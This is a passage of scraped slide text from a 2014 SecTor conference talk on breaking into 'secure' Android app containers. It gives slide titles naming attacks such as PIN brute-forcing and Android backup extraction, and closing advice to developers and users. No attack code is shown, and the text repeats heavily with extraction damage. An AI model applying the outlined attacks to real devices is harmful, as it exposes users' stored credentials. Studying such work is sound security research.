  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 181: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 182: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 183: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 184: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 185: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

